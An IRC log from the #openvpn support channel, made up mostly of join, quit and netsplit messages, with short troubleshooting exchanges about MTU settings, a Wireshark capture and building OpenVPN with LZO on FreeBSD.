12:27 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
12:28 < kisom> rob0: pics or it didnt happen
12:28 < kisom> ;)
12:30 < Slippern> krzee: what can i then do?
12:31 <@krzee> did you sniff traffic?
12:31 <@krzee> look at whats going on?
12:34 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Quit: ZNC - http://znc.in]
12:35 -!- jareth_ [~jareth_@a83-161-152-176.adsl.xs4all.nl] has joined #openvpn
12:40 < Slippern> http://bildr.no/view/1632257 heres the wireshark output.
12:40 <@vpnHelper> Title: Bildr.no (at bildr.no)
12:41 < kisom> Slippern: You might want to blur out your dropbox identifier the next time ;)
12:43 < Slippern> oh shit :P
12:45 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
12:52 -!- Poster|x [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
12:54 -!- swiftkey_ [swiftkey@2600:3c03::f03c:91ff:feae:aac] has joined #openvpn
12:55 -!- barhom_ [barhom@netsat.se] has joined #openvpn
12:55 -!- ikrabbe| [ingo@coop.ikrabbe-ask.de] has joined #openvpn
12:57 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
12:57 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn
12:58 -!- MacGyver_ [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
12:59 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has quit [Ping timeout: 264 seconds]
12:59 -!- barhom [barhom@netsat.se] has quit [Ping timeout: 264 seconds]
12:59 -!- ikrabbe [ingo@pdpc/supporter/professional/ikrabbe] has quit [Ping timeout: 264 seconds]
12:59 -!- cnf [ZrI3Rtnnd0@unaffiliated/cnf] has quit [Ping timeout: 264 seconds]
12:59 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 264 seconds]
12:59 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 264 seconds]
12:59 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 264 seconds]
12:59 -!- mcp [~mcp@wolk-project.de] has quit [Ping timeout: 264 seconds]
12:59 -!- ikrabbe| is now known as ikrabbe
13:01 < Slippern> got it to work, mtu had to be 1424..
13:01 -!- wykydtro- [tassadar@persephone.darkness-reigns.net] has joined #openvpn
13:02 -!- wykydtron [tassadar@persephone.darkness-reigns.net] has quit [Ping timeout: 264 seconds]
13:02 -!- wykydtro- is now known as wykydtron
13:02 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Ping timeout: 624 seconds]
13:02 -!- cnf [D3e8Yrsl1f@unaffiliated/cnf] has joined #openvpn
13:03 -!- jtrucks_ is now known as jtrucks
13:03 -!- brad [~brad@mail.mafiacrime.net] has quit [Ping timeout: 252 seconds]
13:03 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
13:03 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
13:04 -!- Willis_ [Willis@173.234.237.131] has joined #openvpn
13:04 -!- brad [~brad@uk.moooo.org] has joined #openvpn
13:05 -!- Tera_ [~tera@ip133-114.seclan.com] has joined #openvpn
13:05 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Read error: error:1408F119:SSL routines:SSL3_GET_RECORD:decryption failed or bad record mac]
13:07 -!- jareth_ [~jareth_@a83-161-152-176.adsl.xs4all.nl] has quit [Quit: ZNC - http://znc.in]
13:07 -!- ronnocol_ [~lance@mail.ronnoco.net] has joined #openvpn
13:07 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
13:07 -!- TheWarden_ [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
13:07 -!- TheWarden_ [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Excess Flood]
13:07 -!- _Dave2_ [~Dave2@freenode/staff/dave2] has joined #openvpn
13:07 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
13:07 -!- nutron|w [~nutron@24.67.96.21] has quit [Quit: I must go eat my cheese!]
13:07 -!- riddle [riddle@76.72.170.57] has quit [Disconnected by services]
13:07 -!- kloeri_ [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
13:07 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 252 seconds]
13:07 -!- WarDriver [~WarDriver@unaffiliated/wardriver] has quit [Ping timeout: 252 seconds]
13:08 -!- MrPockets [~MevinKitt@unaffiliated/mrpockets] has quit [Ping timeout: 252 seconds]
13:08 -!- Poster|w [poster@shell.bshellz.net] has quit [Ping timeout: 252 seconds]
13:08 -!- ronnocol [~lance@mail.ronnoco.net] has quit [Ping timeout: 252 seconds]
13:08 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has quit [Ping timeout: 252 seconds]
13:08 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Ping timeout: 252 seconds]
13:08 -!- Tera [~tera@ip133-114.seclan.com] has quit [Ping timeout: 252 seconds]
13:08 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has quit [Ping timeout: 252 seconds]
13:08 -!- phantomcircuit [~phantomci@covertinferno.org] has quit [Ping timeout: 252 seconds]
13:08 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 252 seconds]
13:08 -!- WarDriver [~WarDriver@199.15.114.218] has joined #openvpn
13:08 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has quit [Remote host closed the connection]
13:08 -!- WarDriver [~WarDriver@199.15.114.218] has quit [Changing host]
13:08 -!- WarDriver [~WarDriver@unaffiliated/wardriver] has joined #openvpn
13:08 -!- riddle [riddle@us.yunix.net] has joined #openvpn
13:08 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
13:08 -!- Dave2 [~Dave2@freenode/staff/dave2] has quit [Read error: Connection reset by peer]
13:08 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
13:08 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
13:08 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
13:09 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 240 seconds]
13:09 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
13:09 -!- phunyguy_ [~phunyguy@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has joined #openvpn
13:10 -!- Netsplit *.net <-> *.split quits: @mattock, MeanderingCode, Masxmasx, eennaam, @vpnHelper, phunyguy
13:11 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
13:13 -!- Poster|w [poster@shell.bshellz.net] has joined #openvpn
13:13 -!- mode/#openvpn [+o mattock] by ChanServ
13:13 -!- Netsplit over, joins: mattock
13:14 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
13:14 -!- mode/#openvpn [+o vpnHelper] by ChanServ
13:14 -!- Netsplit over, joins: vpnHelper
13:15 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
13:15 -!- Netsplit over, joins: MeanderingCode
13:16 -!- Netsplit over, joins: Masxmasx
13:16 -!- MorgyN_ [~mig@island.morgyn.org] has joined #openvpn
13:16 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
13:16 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Excess Flood]
13:16 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
13:17 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
13:17 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
13:18 -!- erry [erry@freenode/staff/erry] has quit [Killed (hubbard.freenode.net (Nickname regained by services))]
13:18 -!- erry_ is now known as erry
13:19 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Ping timeout: 256 seconds]
13:19 -!- zeroXten_ [~zeroXten@0x10.co.uk] has joined #openvpn
13:22 -!- Netsplit *.net <-> *.split quits: WarDriver, MrPockets, MorgyN
13:23 -!- Poster [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
13:24 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Quit: ZNC - http://znc.in]
13:24 -!- Martin`_ [martin@shell.ipv6.octocore.net] has joined #openvpn
13:26 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
13:26 -!- eennaam [~pi@unaffiliated/eennaam] has joined #openvpn
13:26 -!- Poster|x [~poster@cpe-173-88-34-118.columbus.res.rr.com] has quit [Ping timeout: 276 seconds]
13:27 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Quit: BBL]
13:27 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Changing host]
13:27 -!- xBytez [~xbytez@unaffiliated/xbytez] has joined #openvpn
13:27 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
13:28 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
13:28 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
13:28 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
13:28 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
13:29 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has quit [Ping timeout: 245 seconds]
13:29 -!- Varazir_ [~mircwars@c-94-255-133-62.cust.bredband2.com] has joined #openvpn
13:30 -!- novaflasz [~novaflash@vpnserver1.jellemaautomatisering.nl] has joined #openvpn
13:30 -!- novaflasz is now known as novaflash
13:30 -!- brad [~brad@uk.moooo.org] has quit [Quit: No Ping reply in 150 seconds.]
13:30 -!- brad [~brad@uk.moooo.org] has joined #openvpn
13:30 -!- novaflash_away [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 256 seconds]
13:30 -!- patelx [chirayu@voyager.chirayu.net] has quit [Ping timeout: 256 seconds]
13:30 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Ping timeout: 256 seconds]
13:30 -!- RichardBronosky_ [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has quit [Ping timeout: 256 seconds]
13:30 -!- zamba [marius@flage.org] has quit [Ping timeout: 256 seconds]
13:30 -!- clever [~clever@47.54.82.69] has quit [Ping timeout: 256 seconds]
13:31 -!- patelx [chirayu@voyager.chirayu.net] has joined #openvpn
13:31 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
13:31 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
13:31 -!- clever [~clever@47.54.82.69] has joined #openvpn
13:32 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
13:32 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has joined #openvpn
13:33 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
13:34 -!- peper [~peper@gentoo/developer/peper] has quit [Ping timeout: 271 seconds]
13:34 -!- folivora_ [~out@46.19.34.64] has joined #openvpn
13:34 -!- Tera [~tera@ip133-114.seclan.com] has joined #openvpn
13:35 -!- n2deep_ [n2deep@odin.sdf-eu.org] has joined #openvpn
13:36 -!- brad [~brad@uk.moooo.org] has quit [Ping timeout: 245 seconds]
13:36 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has quit [Read error: Connection reset by peer]
13:36 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
13:37 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has quit [Ping timeout: 245 seconds]
13:37 -!- Martin`_ [martin@shell.ipv6.octocore.net] has quit [Ping timeout: 245 seconds]
13:37 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-iyrkdbbkozftexbd] has quit [Ping timeout: 245 seconds]
13:38 -!- zamba [marius@flage.org] has joined #openvpn
13:38 -!- Varazir [~mircwars@c-94-255-133-62.cust.bredband2.com] has quit [Write error: Broken pipe]
13:38 -!- MacGyver_ [~MacGyver@kershaw.polvanaubel.com] has quit [Write error: Broken pipe]
13:38 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Write error: Broken pipe]
13:38 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Write error: Broken pipe]
13:38 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Write error: Broken pipe]
13:38 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Write error: Broken pipe]
13:38 -!- Champi [Champi@rootshell.fr] has quit [Excess Flood]
13:38 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Remote host closed the connection]
13:38 -!- levifig [~levifig@spwn.co] has quit [Ping timeout: 367 seconds]
13:38 -!- rheddry [~levifig@spwn.co] has joined #openvpn
13:38 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
13:39 -!- deever_ [~deever@78.46.68.172] has joined #openvpn
13:39 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
13:39 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
13:39 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
13:39 -!- mode/#openvpn [+o vpnHelper] by ChanServ
13:39 -!- qmr_ [~qmr@50.116.18.140] has joined #openvpn
13:39 -!- Dave2 [~Dave2@freenode/staff/dave2] has joined #openvpn
13:40 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 245 seconds]
13:40 -!- Varazir_ [~mircwars@c-94-255-133-62.cust.bredband2.com] has quit [Ping timeout: 245 seconds]
13:40 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Ping timeout: 245 seconds]
13:40 -!- ppr [~peper@gentoo/developer/peper] has joined #openvpn
13:40 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 245 seconds]
13:40 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
13:40 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
13:40 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
13:40 -!- pcdummy_ [~quassel@mx1.page4me.ch] has joined #openvpn
13:40 -!- Champi [Champi@rootshell.fr] has joined #openvpn
13:40 -!- TheWarden_ [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
13:40 -!- TheWarden_ is now known as TheWarden
13:41 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
13:41 -!- joko [~joko@147.102.37.22] has quit [Ping timeout: 268 seconds]
13:41 -!- Varazir [~mircwars@c-94-255-133-62.cust.bredband2.com] has joined #openvpn
13:41 -!- mcp [~mcp@wolk-project.de] has quit [Excess Flood]
13:41 -!- jtrucks__ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
13:41 -!- _Dave2_ [~Dave2@freenode/staff/dave2] has quit [Read error: Connection reset by peer]
13:41 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
13:41 -!- kloeri_ is now known as kloeri
13:42 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
13:42 -!- mode/#openvpn [+o krzee] by ChanServ
13:42 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
13:42 -!- phantomcircuit_ [~phantomci@covertinferno.org] has joined #openvpn
13:42 -!- phunyguy_ [~phunyguy@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has quit [Ping timeout: 243 seconds]
13:43 -!- ele_ [~maarten@pinky.elexer.com] has joined #openvpn
13:43 -!- joko [~joko@147.102.37.22] has joined #openvpn
13:43 -!- Martin` [martin@shell.ipv6.octocore.net] has joined #openvpn
13:44 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
13:45 -!- jtrucks_1 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
13:46 -!- Mike-- [mad@probie.xs4all.nl] has quit [Read error: Connection reset by peer]
13:47 -!- Mike-- [mad@probie.xs4all.nl] has joined #openvpn
13:48 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services]
13:48 -!- Netsplit *.net <-> *.split quits: folivora, Tera_, phantomcircuit, ele, qmr, jtrucks, speed_racer84, pcdummy, deever
13:48 -!- riddle [riddle@us.yunix.net] has joined #openvpn
13:49 -!- mcp [~mcp@wolk-project.de] has quit [Remote host closed the connection]
13:49 -!- phantomcircuit_ is now known as phantomcircuit
13:50 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Ping timeout: 655 seconds]
13:53 -!- qmr_ [~qmr@50.116.18.140] has quit [Ping timeout: 276 seconds]
13:53 -!- qmr [~qmr@50.116.18.140] has joined #openvpn
13:57 -!- ngharo [~ngharo@95.211.6.133] has quit [Quit: leaving]
13:57 -!- ngharo [~ngharo@nexus.sypherz.com] has joined #openvpn
14:02 -!- pcdummy_ [~quassel@mx1.page4me.ch] has quit [Changing host]
14:02 -!- pcdummy_ [~quassel@unaffiliated/pcdummy] has joined #openvpn
14:02 -!- pcdummy_ is now known as pcdummy
14:02 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services]
14:02 -!- MikeH_ [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
14:02 -!- Varazir_ [~mircwars@c-94-255-133-62.cust.bredband2.com] has joined #openvpn
14:03 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
14:03 -!- riddle [riddle@us.yunix.net] has joined #openvpn
14:03 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
14:04 -!- andi [~andi@unaffiliated/fr00d] has quit [Disconnected by services]
14:04 -!- andi__ [~andi@shell.sixhop.net] has joined #openvpn
14:04 -!- folivora_ is now known as folivora
14:05 -!- phantomcircuit_ [~phantomci@covertinferno.org] has joined #openvpn
14:05 -!- lirime_ [~liriel@aphrodite.feralhosting.com] has joined #openvpn
14:05 -!- MacGyver_ [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
14:05 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has quit [Ping timeout: 245 seconds]
14:05 -!- Varazir [~mircwars@c-94-255-133-62.cust.bredband2.com] has quit [Ping timeout: 245 seconds]
14:05 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 245 seconds]
14:05 -!- pekster_ [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 245 seconds]
14:05 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 245 seconds]
14:05 -!- lirime [~liriel@185.21.216.161] has quit [Ping timeout: 245 seconds]
14:05 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 245 seconds]
14:05 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 245 seconds]
14:05 -!- ppr [~peper@gentoo/developer/peper] has quit [Ping timeout: 245 seconds]
14:05 -!- EugeneKay [eugene@rfc2324.net] has quit [Ping timeout: 245 seconds]
14:05 -!- phantomcircuit [~phantomci@covertinferno.org] has quit [Ping timeout: 245 seconds]
14:05 -!- C-S-B [~C-S-B@host86-171-109-108.range86-171.btcentralplus.com] has quit [Ping timeout: 245 seconds]
14:05 -!- lirime_ is now known as lirime
14:05 -!- EugeneKay [eugene@rfc2324.net] has joined #openvpn
14:06 -!- C-S-B [~C-S-B@host86-171-109-108.range86-171.btcentralplus.com] has joined #openvpn
14:06 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
14:06 -!- EmLeX- [~emx@37.46.193.18] has joined #openvpn
14:06 -!- brad`_ [~brad@78.129.242.122] has joined #openvpn
14:06 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
14:07 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
14:08 -!- vpopov [~happylife@dyn-32-122.fttbee.kis.ru] has joined #openvpn
14:14 -!- Netsplit *.net <-> *.split quits: Masxmasx, ngharo
14:18 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 246 seconds]
14:18 -!- TypoNe [~itsme@195.197.184.87] has quit [Ping timeout: 246 seconds]
14:18 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
14:19 -!- Netsplit over, joins: ngharo
14:19 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
14:22 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
14:23 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:25 -!- Masxmasx{AFK} [~IetsVulga@u134.baconseed.org] has joined #openvpn
14:26 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
14:30 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-jujsoftksbbrvkcc] has joined #openvpn
14:31 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
14:38 -!- Varazir_ is now known as Varazir
14:39 -!- Rahoul [~nicolas@192.95.23.232] has joined #openvpn
14:40 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
14:56 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Read error: Operation timed out]
15:02 -!- Denial [Denial@90.208.15.68] has quit []
15:04 -!- Rahoul [~nicolas@192.95.23.232] has quit [Ping timeout: 260 seconds]
15:04 -!- Rahoul [~nicolas@181.46.220.3] has joined #openvpn
15:05 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
15:07 -!- phantomcircuit_ is now known as phantomcircuit
15:07 -!- Rahoul [~nicolas@181.46.220.3] has quit [Remote host closed the connection]
15:18 -!- Netsplit *.net <-> *.split quits: @krzee, MeanderingCode, mcp, ScriptFanix, Mike--, kenyon, bitg, swiftkey_, pekster, @vpnHelper,  (+5 more, use /NETSPLIT to show all of them)
15:19 -!- jtrucks__ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Quit: Lost terminal]
15:19 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
15:20 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Quit: BBL]
15:20 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
15:20 -!- jtrucks_1 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Write error: Connection reset by peer]
15:21 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
15:21 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
15:22 -!- erry [erry@freenode/staff/erry] has quit [Killed (rajaniemi.freenode.net (Nickname regained by services))]
15:22 -!- erry_ is now known as erry
15:22 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
15:22 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
15:22 -!- mode/#openvpn [+o vpnHelper] by ChanServ
15:24 -!- qmr [~qmr@50.116.18.140] has joined #openvpn
15:24 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
15:24 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
15:26 -!- Mike-- [mad@probie.xs4all.nl] has joined #openvpn
15:28 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
15:28 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
15:28 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
15:28 -!- swiftkey_ [swiftkey@2600:3c03::f03c:91ff:feae:aac] has joined #openvpn
15:28 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
15:28 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
15:28 -!- bitg [bitg@gateway/shell/xzibition.com/x-ysymfghupnoonsuh] has joined #openvpn
15:29 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Excess Flood]
15:29 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
15:30 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
15:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:03 -!- laughingman [~laughingm@ip70-162-175-73.ph.ph.cox.net] has joined #openvpn
16:04 < laughingman> having problems pinging anything via my vpn when trying to set it up on my freebsd box, i cleared my firewall and im wondering if it could be caused by the fact i had to compile without lzo
16:04 < laughingman> there server is using it
16:04 < laughingman> the connection establishes
16:05 -!- laughingman is now known as qubits
16:05 -!- qubits [~laughingm@ip70-162-175-73.ph.ph.cox.net] has quit [Changing host]
16:05 -!- qubits [~laughingm@unaffiliated/qubits] has joined #openvpn
16:06 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 248 seconds]
16:06 < qubits> So I'm trying to build openvpn and it needs lzo 1 but on freebsd I am using 2, is there a workaround?
16:15 -!- raidz_away [~raidz@raidz.im] has joined #openvpn
16:15 -!- raidz_away is now known as raidz
16:15 -!- raidz [~raidz@raidz.im] has quit [Changing host]
16:15 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
16:15 -!- mode/#openvpn [+o raidz] by ChanServ
16:21 -!- qubits [~laughingm@unaffiliated/qubits] has quit [Ping timeout: 245 seconds]
16:23 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:31 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 21.0/20130511120803]]
16:32 -!- qubits [~laughingm@ip70-162-175-73.ph.ph.cox.net] has joined #openvpn
16:32 -!- qubits [~laughingm@ip70-162-175-73.ph.ph.cox.net] has quit [Changing host]
16:32 -!- qubits [~laughingm@unaffiliated/qubits] has joined #openvpn
16:41 -!- qubits [~laughingm@unaffiliated/qubits] has quit [Ping timeout: 246 seconds]
17:06 -!- Mike-- [mad@probie.xs4all.nl] has quit [Ping timeout: 245 seconds]
17:06 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 240 seconds]
17:34 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 256 seconds]
17:38 -!- raidz [~raidz@raidz.im] has joined #openvpn
17:38 -!- raidz [~raidz@raidz.im] has quit [Changing host]
17:38 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
17:38 -!- mode/#openvpn [+o raidz] by ChanServ
17:40 -!- raidz is now known as raidz_away
17:40 -!- raidz_away is now known as raidz
17:44 -!- MrPockets [~MevinKitt@unaffiliated/mrpockets] has joined #openvpn
17:45 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
17:50 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
17:56 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 245 seconds]
18:01 -!- brad`_ [~brad@78.129.242.122] has quit [Quit: No Ping reply in 150 seconds.]
18:02 -!- brad`_ [~brad@78.129.242.122] has joined #openvpn
18:07 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:12 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has quit [Quit: Impossible isn't possible]
18:14 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has joined #openvpn
18:23 -!- master_o1_master [~master_of@p4FF24F12.dip0.t-ipconnect.de] has joined #openvpn
18:23 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
18:23 -!- mode/#openvpn [+o krzee] by ChanServ
18:26 -!- master_of_master [~master_of@p4FF24F1B.dip0.t-ipconnect.de] has quit [Ping timeout: 256 seconds]
18:33 -!- vpopov [~happylife@dyn-32-122.fttbee.kis.ru] has quit [Ping timeout: 256 seconds]
18:40 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
18:41 -!- JesseCW [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
18:41 -!- JesseC is now known as Guest7467
18:42 -!- Guest7467 [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit [Read error: Operation timed out]
18:43 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Operation timed out]
18:44 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
18:45 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Ping timeout: 246 seconds]
18:53 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
18:59 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
20:25 -!- raidz is now known as raidz_away
